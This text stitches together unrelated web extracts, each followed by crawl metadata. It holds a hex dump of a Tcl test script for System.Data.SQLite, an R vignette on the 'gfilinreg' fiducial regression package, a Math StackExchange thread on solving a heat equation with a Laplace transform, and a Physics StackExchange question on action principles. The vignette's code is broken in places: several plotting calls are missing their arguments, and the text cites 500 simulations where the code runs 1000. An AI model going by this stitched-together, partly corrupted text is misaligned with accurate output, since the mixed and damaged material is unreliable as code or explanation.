25e90 20 20 74 65 73 74 49 6e 73 74 61 6c 6c 56 73 32 testInstallVs2 25ea0 30 30 38 4c 6f 67 46 69 6c 65 20 74 65 73 74 49 008LogFile testI 25eb0 6e 73 74 61 6c 6c 56 73 32 30 30 35 4c 6f 67 46 nstallVs2005LogF 25ec0 69 6c 65 0d 0a 0d 0a 20 20 20 20 20 20 20 20 75 ile.... u 25ed0 6e 73 65 74 20 2d 6e 6f 63 6f 6d 70 6c 61 69 6e nset -nocomplain 25ee0 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 25ef0 6e 6f 72 74 68 77 69 6e 64 45 66 44 62 46 69 6c northwindEfDbFil 25f00 65 20 74 65 73 74 4c 69 6e 71 4f 75 74 46 69 6c e testLinqOutFil 25f10 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 e \.. 25f20 20 77 61 6c 44 62 46 69 6c 65 20 6e 6f 6e 57 61 walDbFile nonWa 25f30 6c 44 62 46 69 6c 65 0d 0a 0d 0a 20 20 20 20 20 lDbFile.... 25f40 20 20 20 75 6e 73 65 74 20 2d 6e 6f 63 6f 6d 70 unset -nocomp 25f50 6c 61 69 6e 20 5c 0d 0a 20 20 20 20 20 20 20 20 lain \.. 25f60 20 20 20 20 74 65 73 74 45 66 36 45 78 65 46 69 testEf6ExeFi 25f70 6c 65 20 74 65 73 74 4c 69 6e 71 45 78 65 46 69 le testLinqExeFi 25f80 6c 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 le \.. 25f90 20 20 74 65 73 74 45 78 65 46 69 6c 65 20 73 79 testExeFile sy 25fa0 73 74 65 6d 44 61 74 61 53 51 4c 69 74 65 45 66 stemDataSQLiteEf 25fb0 36 44 6c 6c 46 69 6c 65 20 5c 0d 0a 20 20 20 20 6DllFile \.. 25fc0 20 20 20 20 20 20 20 20 73 79 73 74 65 6d 44 61 systemDa 25fd0 74 61 53 51 4c 69 74 65 4c 69 6e 71 44 6c 6c 46 taSQLiteLinqDllF 25fe0 69 6c 65 20 73 79 73 74 65 6d 44 61 74 61 53 51 ile systemDataSQ 25ff0 4c 69 74 65 44 6c 6c 46 69 6c 65 20 5c 0d 0a 20 LiteDllFile \.. 26000 20 20 20 20 20 20 20 20 20 20 20 73 71 6c 69 74 sqlit 26010 65 44 65 73 69 67 6e 65 72 44 6c 6c 46 69 6c 65 eDesignerDllFile 26020 20 69 6e 73 74 61 6c 6c 65 72 45 78 65 46 69 6c installerExeFil 26030 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 e \.. 26040 20 65 6e 74 69 74 79 46 72 61 6d 65 77 6f 72 6b entityFramework 26050 44 6c 6c 46 69 6c 65 0d 0a 20 20 20 20 20 20 7d DllFile.. } 26060 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... 26070 70 72 6f 63 20 72 75 6e 53 51 4c 69 74 65 54 65 proc runSQLiteTe 26080 73 74 45 70 69 6c 6f 67 75 65 20 7b 7d 20 7b 0d stEpilogue {} {. 26090 0a 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 . #.. 260a0 23 20 4e 4f 54 45 3a 20 53 6b 69 70 20 72 75 6e # NOTE: Skip run 260b0 6e 69 6e 67 20 6f 75 72 20 63 75 73 74 6f 6d 20 ning our custom 260c0 65 70 69 6c 6f 67 75 65 20 69 66 20 74 68 65 20 epilogue if the 260d0 6d 61 69 6e 20 6f 6e 65 20 68 61 73 20 62 65 65 main one has bee 260e0 6e 0d 0a 20 20 20 20 20 20 23 20 20 20 20 20 20 n.. # 260f0 20 73 6b 69 70 70 65 64 2e 0d 0a 20 20 20 20 20 skipped... 26100 20 23 0d 0a 20 20 20 20 20 20 69 66 20 7b 21 5b #.. if {![ 26110 69 6e 66 6f 20 65 78 69 73 74 73 20 3a 3a 6e 6f info exists ::no 26120 28 65 70 69 6c 6f 67 75 65 2e 65 61 67 6c 65 29 (epilogue.eagle) 26130 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. 26140 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 20 #.. # 26150 4e 4f 54 45 3a 20 53 68 6f 77 20 77 68 65 6e 20 NOTE: Show when 26160 6f 75 72 20 74 65 73 74 73 20 61 63 74 75 61 6c our tests actual 26170 6c 79 20 65 6e 64 65 64 20 28 6e 6f 77 29 2e 0d ly ended (now).. 26180 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 26190 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs $::tes 261a0 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 261b0 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. 261c0 20 20 20 20 20 22 2d 2d 2d 2d 20 53 79 73 74 65 "---- Syste 261d0 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 74 65 m.Data.SQLite te 261e0 73 74 73 20 65 6e 64 65 64 20 61 74 20 22 20 5c sts ended at " \ 261f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 5b 63 .. [c 26200 6c 6f 63 6b 20 66 6f 72 6d 61 74 20 5b 63 6c 6f lock format [clo 26210 63 6b 20 73 65 63 6f 6e 64 73 5d 5d 20 5c 6e 5d ck seconds]] \n] 26220 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 26230 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 4c # NOTE: L 26240 6f 61 64 20 74 68 65 20 22 65 70 69 6c 6f 67 75 oad the "epilogu 26250 65 22 20 63 75 73 74 6f 6d 20 70 65 72 2d 75 73 e" custom per-us 26260 65 72 20 61 6e 64 2f 6f 72 20 70 65 72 2d 68 6f er and/or per-ho 26270 73 74 20 74 65 73 74 0d 0a 20 20 20 20 20 20 20 st test.. 26280 20 23 20 20 20 20 20 20 20 73 65 74 74 69 6e 67 # setting 26290 73 20 6e 6f 77 2e 0d 0a 20 20 20 20 20 20 20 20 s now... 262a0 23 0d 0a 20 20 20 20 20 20 20 20 75 70 6c 65 76 #.. uplev 262b0 65 6c 20 31 20 5b 6c 69 73 74 20 6c 6f 61 64 53 el 1 [list loadS 262c0 51 4c 69 74 65 54 65 73 74 53 65 74 74 69 6e 67 QLiteTestSetting 262d0 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 s$::test_channe 262e0 6c 20 2e 65 70 69 6c 6f 67 75 65 5d 0d 0a 0d 0a l .epilogue].... 262f0 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 26300 20 20 20 23 20 42 55 47 46 49 58 3a 20 42 65 66 # BUGFIX: Bef 26310 6f 72 65 20 63 68 65 63 6b 69 6e 67 20 74 68 65 ore checking the 26320 20 66 69 6e 61 6c 20 72 65 73 6f 75 72 63 65 73 final resources 26330 20 69 6e 20 75 73 65 20 62 79 20 53 51 4c 69 74 in use by SQLit 26340 65 2c 20 6d 61 6b 65 0d 0a 20 20 20 20 20 20 20 e, make.. 26350 20 23 20 20 20 20 20 20 20 20 20 73 75 72 65 20 # sure 26360 62 6f 74 68 20 6f 66 20 74 68 65 20 50 52 41 47 both of the PRAG 26370 4d 41 20 72 65 6c 61 74 65 64 20 64 69 72 65 63 MA related direc 26380 74 6f 72 79 20 6e 61 6d 65 73 20 61 72 65 20 66 tory names are f 26390 72 65 65 64 2e 0d 0a 20 20 20 20 20 20 20 20 23 reed... # 263a0 0d 0a 20 20 20 20 20 20 20 20 63 68 65 63 6b 46 .. checkF 263b0 6f 72 53 51 4c 69 74 65 44 69 72 65 63 74 6f 72 orSQLiteDirector 263c0 69 65 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e ies $::test_chan 263d0 6e 65 6c 20 74 72 75 65 0d 0a 0d 0a 20 20 20 20 nel true.... 263e0 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 263f0 20 4e 4f 54 45 3a 20 41 6c 73 6f 20 72 65 70 6f NOTE: Also repo 26400 72 74 20 74 68 65 20 72 65 73 6f 75 72 63 65 20 rt the resource 26410 75 73 61 67 65 20 61 66 74 65 72 20 72 75 6e 6e usage after runn 26420 69 6e 67 20 74 68 65 20 74 65 73 74 73 2e 0d 0a ing the tests... 26430 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 #.. 26440 20 20 20 72 65 70 6f 72 74 53 51 4c 69 74 65 52 reportSQLiteR 26450 65 73 6f 75 72 63 65 73 20 24 3a 3a 74 65 73 74 esources$::test 26460 5f 63 68 61 6e 6e 65 6c 0d 0a 0d 0a 20 20 20 20 _channel.... 26470 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 23 #.. # 26480 20 4e 4f 54 45 3a 20 52 65 70 6f 72 74 20 74 68 NOTE: Report th 26490 65 20 63 72 69 74 69 63 61 6c 20 68 61 6e 64 6c e critical handl 264a0 65 20 63 6f 75 6e 74 73 20 61 66 74 65 72 20 72 e counts after r 264b0 75 6e 6e 69 6e 67 20 74 68 65 20 74 65 73 74 73 unning the tests 264c0 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 ... #.. 264d0 20 20 20 20 20 20 67 65 74 53 51 4c 69 74 65 48 getSQLiteH 264e0 61 6e 64 6c 65 43 6f 75 6e 74 73 20 24 3a 3a 74 andleCounts $::t 264f0 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a 0d 0a 20 est_channel.... 26500 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 #.. 26510 20 20 23 20 4e 4f 54 45 3a 20 49 66 20 6e 65 63 # NOTE: If nec 26520 65 73 73 61 72 79 2c 20 64 69 73 61 62 6c 65 20 essary, disable 26530 73 68 61 72 65 64 2d 63 61 63 68 65 20 6d 6f 64 shared-cache mod 26540 65 20 6e 6f 77 2e 0d 0a 20 20 20 20 20 20 20 20 e now... 26550 23 0d 0a 20 20 20 20 20 20 20 20 69 66 20 7b 5b #.. if {[ 26560 68 61 73 52 75 6e 74 69 6d 65 4f 70 74 69 6f 6e hasRuntimeOption 26570 20 73 68 61 72 65 64 43 61 63 68 65 5d 7d 20 74 sharedCache]} t 26580 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 26590 20 65 6e 61 62 6c 65 53 68 61 72 65 64 43 61 63 enableSharedCac 265a0 68 65 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e he$::test_chann 265b0 65 6c 20 66 61 6c 73 65 0d 0a 20 20 20 20 20 20 el false.. 265c0 20 20 7d 0d 0a 20 20 20 20 20 20 7d 0d 0a 20 20 }.. }.. 265d0 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 23 23 23 23 }..... #### 265e0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 265f0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26600 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26610 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26620 23 23 23 23 23 23 23 0d 0a 20 20 20 20 23 23 23 #######.. ### 26630 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26640 23 23 23 23 23 23 23 23 23 23 20 45 4e 44 20 45 ########## END E 26650 61 67 6c 65 20 4f 4e 4c 59 20 23 23 23 23 23 23 agle ONLY ###### 26660 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26670 23 23 23 23 23 23 23 23 0d 0a 20 20 20 20 23 23 ########.. ## 26680 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 26690 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 266a0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 266b0 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 23 ################ 266c0 23 23 23 23 23 23 23 23 23 0d 0a 20 20 7d 0d 0a #########.. }.. 266d0 0d 0a 20 20 23 0d 0a 20 20 23 20 4e 4f 54 45 3a .. #.. # NOTE: 266e0 20 53 61 76 65 20 74 68 65 20 6e 61 6d 65 20 6f Save the name o 266f0 66 20 74 68 65 20 64 69 72 65 63 74 6f 72 79 20 f the directory 26700 63 6f 6e 74 61 69 6e 69 6e 67 20 74 68 69 73 20 containing this 26710 66 69 6c 65 2e 0d 0a 20 20 23 0d 0a 20 20 69 66 file... #.. if 26720 20 7b 21 5b 69 6e 66 6f 20 65 78 69 73 74 73 20 {![info exists 26730 63 6f 6d 6d 6f 6e 5f 64 69 72 65 63 74 6f 72 79 common_directory 26740 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 73 ]} then {.. s 26750 65 74 20 63 6f 6d 6d 6f 6e 5f 64 69 72 65 63 74 et common_direct 26760 6f 72 79 20 5b 66 69 6c 65 20 64 69 72 6e 61 6d ory [file dirnam 26770 65 20 5b 69 6e 66 6f 20 73 63 72 69 70 74 5d 5d e [info script]] 26780 0d 0a 20 20 7d 0d 0a 0d 0a 20 20 23 0d 0a 20 20 .. }.... #.. 26790 23 20 4e 4f 54 45 3a 20 50 72 6f 76 69 64 65 20 # NOTE: Provide 267a0 74 68 65 20 53 79 73 74 65 6d 2e 44 61 74 61 2e the System.Data. 267b0 53 51 4c 69 74 65 20 74 65 73 74 20 70 61 63 6b SQLite test pack 267c0 61 67 65 20 74 6f 20 74 68 65 20 69 6e 74 65 72 age to the inter 267d0 70 72 65 74 65 72 2e 0d 0a 20 20 23 0d 0a 20 20 preter... #.. 267e0 70 61 63 6b 61 67 65 20 70 72 6f 76 69 64 65 20 package provide 267f0 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 System.Data.SQLi 26800 74 65 2e 54 65 73 74 20 31 2e 30 0d 0a 7d 0d 0a te.Test 1.0..}..
2020-02-19 01:49:11
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 2, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.4596497118473053, "perplexity": 138.2685925383006}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-10/segments/1581875143963.79/warc/CC-MAIN-20200219000604-20200219030604-00375.warc.gz"}
https://cran.case.edu/web/packages/gfilinreg/vignettes/the-gfilinreg-package.html
# The ‘gfilinreg’ package The main function of the ‘gfilinreg’ package, namely gfilinreg, returns some weighted samples of the generalized fiducial distribution of the parameters of a linear regression model whose error terms are distributed according to a Gaussian, Student, Cauchy, or a logistic distribution. Let’s have a look at a simple linear regression model with Gaussian errors: library(gfilinreg) set.seed(666L) x <- rgamma(6L, shape = 10, rate = 1) y <- rnorm(6L, mean = x, sd = 2) dat <- data.frame(x = x, y = y) fidsamples <- gfilinreg(y ~ x, data = dat, distr = "normal", L = 100L, nthreads = 2L) The algorithm involves a partition of the hypercube $${(0,1)}^{p+1}$$, where $$p$$ is the dimension of the model (the number of columns of the $$X$$ matrix), and the integer argument L of the gfilinreg function is the desired number of subdivisions of each edge of the hypercube. Note. I set nthreads = 2L because of CRAN constraints: CRAN does not allow more than two parallel computations. This is also why I set nthreads = 2L in all the examples of the package. A quick summary of the fiducial samples is provided by the gfiSummary function: gfiSummary(fidsamples) #> mean median lwr upr #> (Intercept) -2.914704 -2.913264 -8.7942860 2.959696 #> x 1.288755 1.287826 0.7684114 1.811606 #> sigma 1.965359 1.706877 0.9922482 4.476055 #> attr(,"confidence level") #> [1] 0.95 Let’s compare with lm: lmfit <- lm(y ~ x, data = dat) coefficients(lmfit) #> (Intercept) x #> -2.916874 1.289811 sigma(lmfit) #> [1] 1.551726 confint(lmfit) #> 2.5 % 97.5 % #> (Intercept) -8.757421 2.923674 #> x 0.771654 1.807969 Excepted for the scale parameter $$\sigma$$, results are very similar. One can generate simulations of fiducial predictive distributions and, based on these distributions, one can get fiducial prediction intervals: new <- data.frame(x = c(9, 10, 11)) fidpred <- gfilinregPredictive(fidsamples, newdata = new) gfiSummary(fidpred) #> mean median lwr upr #> y1 8.682954 8.674565 3.925779 13.46422 #> y2 9.970281 9.964336 5.287119 14.68178 #> y3 11.261375 11.253485 6.590240 15.96771 #> attr(,"confidence level") #> [1] 0.95 predict(lmfit, newdata = new, interval = "prediction") #> fit lwr upr #> 1 8.691428 3.950576 13.43228 #> 2 9.981240 5.311629 14.65085 #> 3 11.271051 6.615751 15.92635 Again, there is a strong agreement between the fiducial results and the frequentist results. ## A small simulation study with Cauchy errors Now we perform some simulations of a “t-test model” with Cauchy errors, we store the fiducial summaries for each simulated dataset and we also store the maximum likelihood estimates thanks to the ‘heavy’ package. We simulate $$1000$$ datasets. library(gfilinreg) library(heavy) library(data.table) nsims <- 1000L MAXLHD <- matrix(NA_real_, nrow = nsims, ncol = 3L) colnames(MAXLHD) <- c("group1", "group2", "sigma") FIDlist <- vector("list", length = nsims) group <- gl(2L, 3L) set.seed(666L) for(i in 1L:nsims){ # simulated dataset dat <- data.frame( group = group, y = c(rcauchy(3L), 2 + rcauchy(3L)) ) # max-likelihood estimates hfit <- heavyLm(y ~ 0 + group, data = dat, family = Cauchy()) MAXLHD[i, ] <- c(hfit[["coefficients"]], sqrt(hfit[["sigma2"]])) # fiducial stuff fidsamples <- gfilinreg(y ~ 0 + group, data = dat, L = 100L, distr = "cauchy") FIDlist[[i]] <- cbind( parameter = c("group1", "group2", "sigma"), as.data.table(gfiSummary(fidsamples)) ) } FID <- rbindlist(FIDlist) The above simulations are not performed in this vignette. They are available in the package: library(data.table) data("FID") data("MAXLHD") ### Estimates Our three estimates of the group1 parameter (maximum likelihood, fiducial mean, fiducial median) have a similar distribution: library(kde1d) group1_maxlhd <- MAXLHD[, "group1"] group1_fid_mean <- FID[parameter == "group1"][["mean"]] group1_fid_median <- FID[parameter == "group1"][["median"]] kfit_maxlhd <- kde1d(group1_maxlhd, mult = 4) kfit_fid_mean <- kde1d(group1_fid_mean, mult = 4) kfit_fid_median <- kde1d(group1_fid_median, mult = 4) curve( dkde1d(x, kfit_maxlhd), from = -6, to = 6, axes = FALSE, lwd = 3, col = "red", xlab = "beta1", ylab = NA ) axis(1) curve( lwd = 2, col = "green", lty = "dashed" ) curve( lwd = 2, col = "blue", lty = "dashed" ) The distributions of the three estimates of the group2 parameter are similar as well: group2_maxlhd <- MAXLHD[, "group2"] group2_fid_mean <- FID[parameter == "group2"][["mean"]] group2_fid_median <- FID[parameter == "group2"][["median"]] kfit_maxlhd <- kde1d(group2_maxlhd, mult = 4) kfit_fid_mean <- kde1d(group2_fid_mean, mult = 4) kfit_fid_median <- kde1d(group2_fid_median, mult = 4) curve( dkde1d(x, kfit_maxlhd), from = -4, to = 8, axes = FALSE, lwd = 3, col = "red", xlab = "beta2", ylab = NA ) axis(1) curve( lwd = 2, col = "green", lty = "dashed" ) curve( lwd = 2, col = "blue", lty = "dashed" ) For the scale parameter sigma, there are some differences. The maximum likelihood estimates often underestimate the true value, and the true value is close to the median of the fiducial medians: sigma_maxlhd <- MAXLHD[, "sigma"] sigma_fid_mean <- FID[parameter == "sigma"][["mean"]] sigma_fid_median <- FID[parameter == "sigma"][["median"]] kfit_maxlhd <- kde1d(sigma_maxlhd, xmin = 0, mult = 4) kfit_fid_mean <- kde1d(sigma_fid_mean, xmin = 0, mult = 4) kfit_fid_median <- kde1d(sigma_fid_median, xmin = 0, mult = 4) curve( dkde1d(x, kfit_maxlhd), from = 0, to = 4, axes = FALSE, lwd = 2, col = "red", xlab = "sigma", ylab = NA ) axis(1) abline(v = median(sigma_maxlhd), col = "red", lwd = 2, lty = "dashed") abline(v = 1, col = "yellow", lwd = 3) # true value curve( lwd = 2, col = "green" ) abline(v = median(sigma_fid_mean), col = "green", lwd = 2, lty = "dashed") curve( lwd = 2, col = "blue" ) abline(v = median(sigma_fid_median), col = "blue", lwd = 2, lty = "dashed") ### Frequentist coverage Below are the coverage probabilities of the fiducial confidence intervals estimated from the $$500$$ simulations. # group1 group1 <- FID[parameter == "group1"] mean(group1[["lwr"]] < 0) #> [1] 0.978 mean(0 < group1[["upr"]]) #> [1] 0.979 mean(group1[["lwr"]] < 0 & 0 < group1[["upr"]]) #> [1] 0.957 # group2 group2 <- FID[parameter == "group2"] mean(group2[["lwr"]] < 2) #> [1] 0.982 mean(2 < group2[["upr"]]) #> [1] 0.977 mean(group2[["lwr"]] < 2 & 2 < group2[["upr"]]) #> [1] 0.959 # sigma sigma <- FID[parameter == "sigma"] mean(sigma[["lwr"]] < 1) #> [1] 0.921 mean(1 < sigma[["upr"]]) #> [1] 0.986 mean(sigma[["lwr"]] < 1 & 1 < sigma[["upr"]]) #> [1] 0.907 For the parameters group1 and group2, the coverage probabilities are close to the nominal level. For sigma, only the upper bound yields a coverage probability close to the nominal level. The lower bound is too large on average. But remember that the datasets we simulated are small ($$3$$ observations per group).
2021-06-14 02:57:06
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 1, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.46151503920555115, "perplexity": 9523.08959856772}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-25/segments/1623487611320.18/warc/CC-MAIN-20210614013350-20210614043350-00409.warc.gz"}
https://math.stackexchange.com/questions/1411511/solving-heat-equation-with-laplace-transform
Solving Heat Equation with Laplace Transform I am trying an alternative method to separation of variables to the following equation $$\begin{cases} u_{xx} = 4u_t, &0 < x < 2, t>0\\ u(0,t)=0, u(2,t)=0, &t>0\\ u(x,0)=2\sin(\pi x), &0 \le x \le 2 \end{cases}$$ What I am attempting is to use a Laplace transform with respect to $t$ and then solve the ODE and take the inverse transform. I get an answer in the right form, but the coefficients are off. I should get $u(x,t) = 2e^{\frac {-\pi^2t} {16}}\sin(\frac\pi2x)$ but end up getting $u(x,t) = 2e^{4\pi^2t}\sin\left( \frac\pi2 x \right)$ I am setting $\mathcal{L}_t(u(x,t)) = U(x,s)|_s$ $\mathcal{L}(u'')=\mathcal{L}(\dot u) \rightarrow U''(x,s)=\frac s 4U(x,s)-\frac 14u(x,0)$ $U''(x)-\frac s 4U(x)+\frac 12 \sin(\pi x)$ I assume $s>0$ because that is the only way I get my boundary conditions to work out. $U_H(x) = A \cos\left( \frac{\sqrt{s}}2 x\right) + B \sin\left(\frac{\sqrt{s}}2 x\right)$ I used variation of parameters to get $A(x) = \frac 2{\sqrt{s}}\int \sin \left(\frac{\sqrt{s}}2 x\right)\sin(\pi x)dx = -4\sqrt{s}\left(\frac {\sin\left(\left(\pi - \frac {\sqrt{s}}2\right)x\right)}{\pi^2 - \frac s 2} - \frac {\sin\left(\left(\pi + \frac {\sqrt{s}}2\right)x\right)}{\pi^2 + \frac s 2}\right) + C_1$ $B(x) = -\frac 2{\sqrt{s}}\int \cos\left(\frac{\sqrt{s}}2 x\right)\sin(\pi x)dx = -4\sqrt{s}\left(\frac {\cos\left(\left(\pi - \frac {\sqrt{s}}2\right)x\right)}{\pi^2 - \frac s 2} + \frac {\cos\left(\left(\pi + \frac {\sqrt{s}}2\right)x\right)}{\pi^2 + \frac s 2}\right) + C_2$ $U_P(x) = A(x) \cos\left(\frac{\sqrt{s}}2 x\right) + B(x) \sin\left(\frac{\sqrt{s}}2 x\right)$ I simplify to $U(x) = C_1 \cos\left(\frac{\sqrt{s}}2 x\right) + C_2 \sin\left(\frac{\sqrt{s}}2 x\right) + 2 \frac 1{s - 4\pi^2 }\sin(\pi x)$ I plug in the boundary conditions to get $C_1 = C_2 = 0$ but when I try to take the inverse Laplace I get the aforementioned wrong solution. Can someone see an error in my work? • Well, to start with you are a factor of 16 out in the line $\mathcal{L}(u'')=\mathcal{L}(\dot u) \rightarrow U''(x,s)=\frac{s}{4}U(x,s)-\frac{1}{4}u(x,0)$, which should be $\mathcal{L}(u'')=\mathcal{L}(\dot u) \rightarrow U''(x,s)=4sU(x,s)-4u(x,0)$. Does that fix it entirely? – Siwel Sep 6 '15 at 16:15 • Ah, so simple, I was thinking of the differential in $t$, but was solving for the differential in $x$. If you put that as an answer I will accept. – kleineg Sep 8 '15 at 13:24 The only mistake I can see is that the factor of $4$ in $u_{xx} =4u_t$ has become a factor of $\frac 14$. So the line $$\mathcal{L}(u'')=\mathcal{L}(\dot u) \rightarrow U''(x,s)=\frac{s}{4}U(x,s)-\frac{1}{4}u(x,0)$$ $$\mathcal{L}(u'')=\mathcal{L}(\dot u) \rightarrow U''(x,s)=4sU(x,s)-4u(x,0).$$ Following through with this correction should give you the correct answer.
2019-05-23 07:16:28
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.9336652755737305, "perplexity": 185.29608987908173}, "config": {"markdown_headings": false, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2019-22/segments/1558232257156.50/warc/CC-MAIN-20190523063645-20190523085645-00309.warc.gz"}
https://physics.stackexchange.com/questions/161586/lagrangian-mechanics-and-initial-conditions-vs-boundary-conditions
# Lagrangian mechanics and initial conditions vs boundary conditions It bothers me that many basic books on the classical mechanics don't discuss the following difference between "Newton's laws" and the "Principle of stationary action". Newton's laws can predict the behavior of a system if one sets initial positions and velocities. On the contrary, if we want to construct an action functional we have to set an initial and a final position. From the mathematical point of view, this is the difference between initial and boundary value problem, which have different qualitative behavior (BVPs may have many solutions or no solution). My question: Which approach is more reasonable - the initial value problem or the boundary value problem? • More reasonable for what? They are different types of problem and each has its uses. – Nathaniel Jan 26 '15 at 12:50 • Possible duplicates: physics.stackexchange.com/q/38348/2451 and links therein. – Qmechanic Jan 26 '15 at 12:53 • Thanks, I don't understand why I missed the other answer! – user127911 Jan 26 '15 at 13:02 • I've always had this intuitive view: Suppose we have a path $q$ of a particle that runs from point $A$ to point $B$. The action principle tells us that the action is stationary along $q$. We therefore conclude that $q$ satisfies the equations of motion. But the converse is not generally true, right? If $q$ satisfies the equations of motion (the EL equations), then there is no need for it to hit $B$ assuming only that it starts at $A$. Is this right? – Ryan Unger Jan 26 '15 at 13:44
2020-04-10 09:42:04
{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.861919641494751, "perplexity": 207.41091315080243}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2020-16/segments/1585371893683.94/warc/CC-MAIN-20200410075105-20200410105605-00240.warc.gz"}
https://en.wikipedia.org/wiki/Talk:Loudspeaker/Archive_1
